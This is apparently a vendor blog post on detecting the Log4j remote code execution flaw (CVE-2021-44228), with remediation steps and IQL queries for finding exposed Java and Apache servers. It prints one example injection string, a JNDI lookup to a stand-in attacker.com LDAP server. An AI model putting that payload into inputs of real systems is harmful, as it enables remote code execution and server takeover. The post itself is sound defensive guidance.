Locating Log4j Vulnerabilities Using Gigamon ThreatINSIGHT

What Is Log4j?

On 10 December 2021, the security world woke up with signs of the Grinch trying to ruin Christmas this year with an unpleasant Zero-Day exploit. The Apache Software Foundation released a security advisory to address a remote code execution vulnerability (CVE-2021-44228) affecting Log4j versions 2.0-beta9 to 2.14.1. Log4J’s vulnerability concerns a case of unauthenticated, remote code execution (RCE) on any application that uses the open-source utility and affects versions Log4j 2.0-beta9 up to 2.14.1.

This Zero-day flaw is easy to exploit; all an attacker needs to do is send a malicious code string that gets logged by Log4j. When provided with the JNDI (Java naming and directory interface) injected request string, the library will then execute it. Log4J, once exploited, lets an attacker load arbitrary Java code on a server, allowing them to take control, making this flaw a critical security threat. Log4j resolves LDAP addresses or evaluates and then tries to execute arbitrary text via various services, such as:

• Lightweight Directory Access Protocol (LDAP)
• Secure LDAP (LDAPS)
• Remote Method Invocation (RMI)
• Domain Name Service (DNS)

Early signs and proof of concepts emerged early Friday morning, with security researchers analyzing and showing how the exploit works on the popular game “Minecraft,” as seen in this YouTube video by John Hammond.

According to Java, it has 3 billion devices running this logging software baked into multiple cloud services such as Steam, iCloud, Spotify, Cloudflare, and apps like Minecraft. Twitter has already been found to be vulnerable. Threat Actors are actively scanning to find systems using these services and exploiting them.

Below is a general format of the malicious string to Record:

${jndi:ldap://attacker.com/a} 

Where attacker.com is an attacker-controlled server.

Recommended Actions

As a security organization, start with the mentality that you have already been compromised. Log4J is not just one vulnerability. Like John Hammond said, “It’s a cluster bomb of zero days.” The Log4J package is ubiquitous and could reside in applications from various vendors and manufacturer-provided software. Patching one system won’t likely be enough to put your organization in the clear. With that, we’ve compiled this list of recommended actions:

1. Identify vulnerable software and update immediately.
2. Your production webservers shouldn’t be browsing or connecting out to the internet. However, this exclusively comes down to hygiene practiced by IT Ops and developers in your organization.
3. Following step two, annotated/tagged production servers could fit in detecting malicious activity related to Log4j. Production server -> outbound monitoring plays into post-exploitation detection.
4. Verify if exploitation attempts were successful on vulnerable devices and if a successful callback was made.
5. Quarantine devices and block traffic to malicious Ips.

How Is Gigamon ThreatINSIGHT Helping to Fight Log4J?

Gigamon Applied Threat Research (ATR) is currently tracking this vulnerability and has deployed a number of detections to trigger on the Log4j CVE. As a starting point for your investigation, you can leverage current capabilities and search ThreatINSIGHT, you can use the following IQL (INSIGHT Query Language) queries. The detection rules we deployed seek to address the various TTPs we have observed.

IQL for signatures:

suricata:sig_id in (2034647, 2034648, 2034649, 2034650, 2034651, 2034652, 2034653, 2034654, 2034655, 2034656, 2034657, 2034658)

Be aware, that rules leveraging these signatures to create your own rules may be noisy. Additional identification and verification of unusual destination servers may be necessary to find anomalous traffic.

The vulnerability allows an attacker to exploit the JNDI API to cause JNDI to be redirected to another server. Analysts should look for evidence of outbound traffic to the attacker domain found in the JNDI string.

Many organizations don’t know all the systems running Java in their environment. Below are some IQL queries that could help address this.

IQL Samples

Searching for public-facing web servers

• IF you were looking for likely public-facing web servers:

src.internal = false AND dst.internal = true

• IF you were looking for likely public-facing web servers matching (Java/Apache):

src.internal = false 
AND dst.internal = true 
AND (
        (
            user_agent MATCHES ".*[jJ]ava.*" 
            OR user_agent MATCHES ".*[aA]pache.*"
        )
        OR( 
            software_name MATCHES ".*[jJ]ava.*" 
            OR software_name MATCHES ".*[aA]pache.*"
        )
        OR(
            headers.server MATCHES ".*[jJ]ava.*" 
            OR headers.server MATCHES ".*[aA]pache.*"
        )
)
GROUP BY dst.ip, host

Searching for internal-facing web servers:

• IF you were generally looking for internal only web servers:

src.internal = true AND dst.internal = true

• IF you were generally looking for internal only web servers matching (Java/Apache):

src.internal = true  
AND dst.internal = true 
AND (
        (
            user_agent MATCHES ".*[jJ]ava.*" 
            OR user_agent MATCHES ".*[aA]pache.*"
        )
        OR( 
            software_name MATCHES ".*[jJ]ava.*" 
            OR software_name MATCHES ".*[aA]pache.*"
        )
        OR(
            headers.server MATCHES ".*[jJ]ava.*" 
            OR headers.server MATCHES ".*[aA]pache.*"
        )
)
GROUP BY dst.ip, host

Additional Resources

• See all Gigamon blogs related to Log4j here

CONTINUE THE DISCUSSION

People are talking about this in the Gigamon Community’s Security group.

Share your thoughts today